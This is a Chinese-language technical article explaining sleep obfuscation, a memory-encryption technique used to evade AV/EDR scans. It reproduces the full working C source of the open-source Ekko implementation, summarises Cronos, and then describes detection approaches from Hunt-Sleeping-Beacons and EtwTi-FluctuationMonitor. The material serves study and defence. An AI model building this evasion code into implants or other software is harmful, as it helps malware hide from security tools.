睡眠混淆是用于对抗内存检测的一项技术。它的核心思路是:在特定的触发器触发或定时执行内存加解密、改变权限,以此来规避安全软件(AV/EDR)的扫描。
下面,我们通过几个开源项目来学习这种技术的实现,并探讨相关的检测方法。
Sleep Obfuscation
EKKO 项目分析
GitHub 项目地址:https://github.com/Cracked5pider/Ekko
先来看一下该项目的核心调用方式:
#include <Common.h>
#include <Ekko.h>
int main() {
puts("[“EKKO Sleep Obfuscation by (Spider)”]");
do {
// Start Sleep Obfuscation
EkkOObf(4 * 1000);
} while(TRUE);
return 0;
}
其核心函数 EkkoObf 的实现如下:
VOID EkkoObf( DWORD SleepTime )
{
CONTEXT CtxThread = { 0 };
CONTEXT RopProtRW = { 0 };
CONTEXT RopMemEnc = { 0 };
CONTEXT RopDelay = { 0 };
CONTEXT RopMemDec = { 0 };
CONTEXT RopProtRX = { 0 };
CONTEXT RopSetEvt = { 0 };
HANDLE hTimerQueue = NULL;
HANDLE hNewTimer = NULL;
HANDLE hEvent = NULL;
PVOID ImageBase = NULL;
DWORD ImageSize = 0;
DWORD OldProtect = 0;
// Can be randomly generated
CHAR KeyBuf[ 16 ]= { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };
USTRING Key = { 0 };
USTRING Img = { 0 };
PVOID NtContinue = NULL;
PVOID SysFunc032 = NULL;
hEvent = CreateEventW( 0, 0, 0, 0 );
hTimerQueue = CreateTimerQueue();
NtContinue = GetProcAddress( GetModuleHandleA( "Ntdll" ), "NtContinue" );
SysFunc032 = GetProcAddress( LoadLibraryA( "Advapi32" ), "SystemFunction032" );
ImageBase = GetModuleHandleA( NULL );
ImageSize = ( ( PIMAGE_NT_HEADERS ) ( ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage;
Key.Buffer = KeyBuf;
Key.Length = Key.MaximumLength = 16;
Img.Buffer = ImageBase;
Img.Length = Img.MaximumLength = ImageSize;
if ( CreateTimerQueueTimer( &hNewTimer, hTimerQueue, RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
{
WaitForSingleObject( hEvent, 0x32 );
memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopDelay, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) );
memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) );
// VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect );
RopProtRW.Rsp -= 8;
RopProtRW.Rip = VirtualProtect;
RopProtRW.Rcx = ImageBase;
RopProtRW.Rdx = ImageSize;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = &OldProtect;
// SystemFunction032( &Key, &Img );
RopMemEnc.Rsp -= 8;
RopMemEnc.Rip = SysFunc032;
RopMemEnc.Rcx = &Img;
RopMemEnc.Rdx = &Key;
// WaitForSingleObject( hTargetHdl, SleepTime );
RopDelay.Rsp -= 8;
RopDelay.Rip = WaitForSingleObject;
RopDelay.Rcx = NtCurrentProcess();
RopDelay.Rdx = SleepTime;
// SystemFunction032( &Key, &Img );
RopMemDec.Rsp -= 8;
RopMemDec.Rip = SysFunc032;
RopMemDec.Rcx = &Img;
RopMemDec.Rdx = &Key;
// VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect );
RopProtRX.Rsp -= 8;
RopProtRX.Rip = VirtualProtect;
RopProtRX.Rcx = ImageBase;
RopProtRX.Rdx = ImageSize;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
RopProtRX.R9 = &OldProtect;
// SetEvent( hEvent );
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = SetEvent;
RopSetEvt.Rcx = hEvent;
puts( "[INFO] Queue timers" );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD );
CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD );
puts( “[INFO] Wait for hEvent” );
WaitForSingleObject( hEvent, INFINITE );
puts( “[INFO] Finished waiting for event” );
}
DeleteTimerQueue( hTimerQueue );
}
我们来梳理一下流程:
- 初始化:首先创建一个事件(
hEvent)和一个 TimerQueue。
- 获取关键函数:获取
NtContinue(用于切换线程上下文)和 SystemFunction032(用于 RC4 加密/解密)。
- 捕获上下文:第一个
CreateTimerQueueTimer 的回调是 RtlCaptureContext,它会捕获当前线程的上下文并填充到 CtxThread 结构体中。
- 构造 ROP 链:在
if 语句内部,通过复制上下文并修改 Rsp(栈指针)和 Rip(指令指针)等寄存器,构造了六段“伪”执行流。作者在代码中给出了清晰的注释,分别对应:
VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); (修改内存为 RW)
SystemFunction032( &Key, &Img ); (加密)
WaitForSingleObject( ..., SleepTime ); (延迟/睡眠)
SystemFunction032( &Key, &Img ); (解密)
VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect ); (修改内存为 RWX)
SetEvent( hEvent ); (设置事件,唤醒主线程)
- 调度执行:随后,通过多个
CreateTimerQueueTimer 调用,将构造好的上下文结构体分别作为参数,以 NtContinue 为回调进行排队。这些定时器设置了不同的延迟(100, 200, 300...毫秒),从而按顺序执行上述操作。
- 等待与恢复:主线程调用
WaitForSingleObject( hEvent, INFINITE ) 进入等待。当最后一个“设置事件”的定时器任务执行完毕,事件被触发,主线程恢复执行。
整个过程实现了:修改内存属性为 RW -> 加密内存 -> 睡眠等待 -> 解密内存 -> 修改内存属性回 RWX。在睡眠期间,内存处于加密状态,可以躲避基于内存的扫描。


从原理上看,CreateTimerQueueTimer 底层会调用 ntdll!RtlCreateTimer -> ntdll!TpSetTimerEx -> ntdll!TppSetTimer。在 TppSetTimer 中会尝试调用 TppETWTimerSet 来记录 ETW 事件,理论上这会留下痕迹。

但实际上,在某些情况下(例如 SharedData 为空时),这个 ETW 事件可能不会被记录,这就给检测增加了难度。

Cronos 项目分析
GitHub 项目地址:https://github.com/Idov31/Cronos
Cronos 是另一个实现睡眠混淆的开源项目。其思路类似,同样是创建可等待的定时器,并通过 RtlCaptureContext 获取线程上下文。

它通过特征码扫描的方式,从已加载的模块中寻找所需的 ROP gadget(代码片段)。

同样,它也利用 NtContinue 来切换上下文,执行一系列预设操作(加密、修改权限等)。

Cronos 的一个特点是 QuadSleep 函数完全由汇编实现,构造栈帧并最终调用 SleepEx 来触发 APC(异步过程调用),从而实现睡眠。


其工作流本质上也是:修改内存属性为 RW -> 加密 -> 睡眠 -> 解密 -> 修改内存属性为 RWX。
检测技术
了解了攻击技术,我们来看看如何检测。这里介绍两个相关的开源检测项目。
Hunt-Sleeping-Beacons
这个项目旨在检测使用此类技术的“沉睡”的 C2 信标。要理解其检测逻辑,需要一些 Windows 线程池和 Worker Factory 的背景知识,相关深入分析可参考 A Deep Dive into Exploiting Windows Thread Pools。

其核心检测逻辑在 process_scanner::scan_processes 中,它会对传入的进程数组进行扫描。具体的扫描行为定义在一个列表中:

下面我们逐一解析这些检测点:
suspicious_timer (可疑定时器)
- 通过
NtQuerySystemInformation 查询进程句柄信息,筛选出类型为 TpWorkerFactory 的句柄。

- 每个 Worker Factory 都有一个
StartRoutine(由工作线程执行)。通过 NtQueryInformationWorkerFactory 可以查询到 StartParameter,这是一个指向 TP_POOL 结构体的指针,而 TimerQueue 就位于这个结构体中。
FULL_TP_POOL 结构体示意(包含 TimerQueue):
typedef struct _FULL_TP_POOL
{
struct _TPP_REFCOUNT Refcount;
long Padding_239;
union _TPP_POOL_QUEUE_STATE QueueState;
struct _TPP_QUEUE* TaskQueue[3];
struct _TPP_NUMA_NODE* NumaNode;
struct _GROUP_AFFINITY* ProximityInfo;
void* WorkerFactory;
void* CompletionPort;
struct _RTL_SRWLOCK Lock;
struct _LIST_ENTRY PoolObjectList;
struct _LIST_ENTRY WorkerList;
struct _TPP_TIMER_QUEUE TimerQueue; // 定时器队列在这里
struct _RTL_SRWLOCK ShutdownLock;
UINT8 ShutdownInitiated;
UINT8 Released;
UINT16 PoolFlags;
long Padding_240;
...
} FULL_TP_POOL, * PFULL_TP_POOL;
- 遍历 TimerQueue 中的定时器,获取其回调函数地址(
FinalizationCallback)。

- 将回调地址与一个预定义的“可疑回调函数列表”进行比对。如果匹配,则标记为“可疑定时器”。

这个可疑列表包含了常用于 安全/渗透/逆向 技术的函数,例如 NtContinue、RtlCaptureContext 等。

blocking_apc (阻塞的APC)
遍历线程的调用堆栈,检查其中是否有地址指向 ntdll!KiUserApcDispatcher。如果存在,说明线程可能因等待 APC 而阻塞。

blocking_timer (阻塞的定时器)
遍历线程的调用堆栈,检查其中是否有地址指向定时器回调分发函数 ntdll!RtlpTpTimerCallback。如果存在,说明线程可能正在执行或等待定时器回调。

abnormal_intermodular_call (异常的模块间调用)
检查调用堆栈,判断是否存在例如 kernel32 或 kernelbase 中的函数是由 ntdll 直接调用的。在正常的 Windows 调用约定中,用户态 API 通常不会以这种直接的跨模块方式调用,这可能是模块代理或钩子的迹象。

return_address_spoofing (返回地址欺骗)
检测调用堆栈中的返回地址是否指向一些常见的跳转指令 gadget,如 jmp rbx、jmp rbp 等。这可能是利用返回导向编程(ROP)技术进行栈篡改的迹象。

stomped_module (模块篡改)
遍历调用堆栈,检查每个返回地址所属的模块。如果该模块是系统共享模块(如 ntdll, kernel32 等),但其内存页的属性或内容已被修改(例如变为私有内存),则可能是模块篡改(Module Stomping)的迹象。

hardware_breakpoints (硬件断点)
通过 GetThreadContext 获取线程上下文,检查调试寄存器 DR0-DR3 和 DR7 是否被设置。启用硬件断点常被用于无补丁的代码修改或反调试。

non_executable_memory (不可执行内存)
检查调用堆栈中地址所在内存页的权限。如果该页不具备任何执行权限(即没有 PAGE_EXECUTE、PAGE_EXECUTE_READ、PAGE_EXECUTE_READWRITE 或 PAGE_EXECUTE_WRITECOPY 中的任何一个),这是极不正常的,可能意味着代码在非常规的内存中执行。

EtwTi-FluctuationMonitor
GitHub 项目地址:https://github.com/jdu2600/EtwTi-FluctuationMonitor
这个项目的思路来源于 Black Hat Asia 2023 的演讲《You Can Run, but You Can‘t Hide - Finding the Footprints of Hidden Shellcode》。其核心观点是:同一块内存区域的保护权限(Protection)反复波动(例如在 RW、RWX、RX 之间切换)是一种异常行为,可以用来检测内存中隐藏的 shellcode。
该项目通过订阅 Microsoft-Windows-Threat-Intelligence 提供商的 ETW 事件,特别是 KERNEL_THREATINT_KEYWORD_PROTECTVM_LOCAL 关键字,来监控本地进程的内存保护权限变化。

当捕获到内存保护权限变更事件时,回调函数会判断该内存页是否之前已经发生过一次“固化”变更(例如从不可执行变为可执行,或从可写变为不可写)。如果是,则认为该页应该已经“不可变”。如果后续再次检测到它的权限发生变化,就报告该内存页正在“波动”,这很可能是在进行睡眠混淆或类似操作。

简而言之,它的检测阈值是1:一旦某内存页完成了从“可变”到“预期不可变”的第一次状态切换,后续任何对其权限的修改都会被标记为可疑。
总结
睡眠混淆是一种有效的 逆向工程 与对抗检测的技术,它利用 Windows 的线程池定时器机制,在睡眠期间加密自身内存。针对这种技术的检测可以从多个维度入手,包括分析线程池和定时器回调、检查线程阻塞状态、监控内存权限的异常波动等。攻防双方在 网络/系统 底层细节上的较量仍在持续。对于安全研究人员和开发者而言,深入了解这些底层机制,无论是为了加固防御还是进行安全测试,都至关重要。
本文中分析的技术细节和开源项目,对于希望深入 计算机基础 与系统安全领域的学习者很有参考价值。如果你对这类话题感兴趣,欢迎在技术社区继续交流探讨。想了解更多前沿技术分析与实践分享,可以关注 云栈社区 的更新。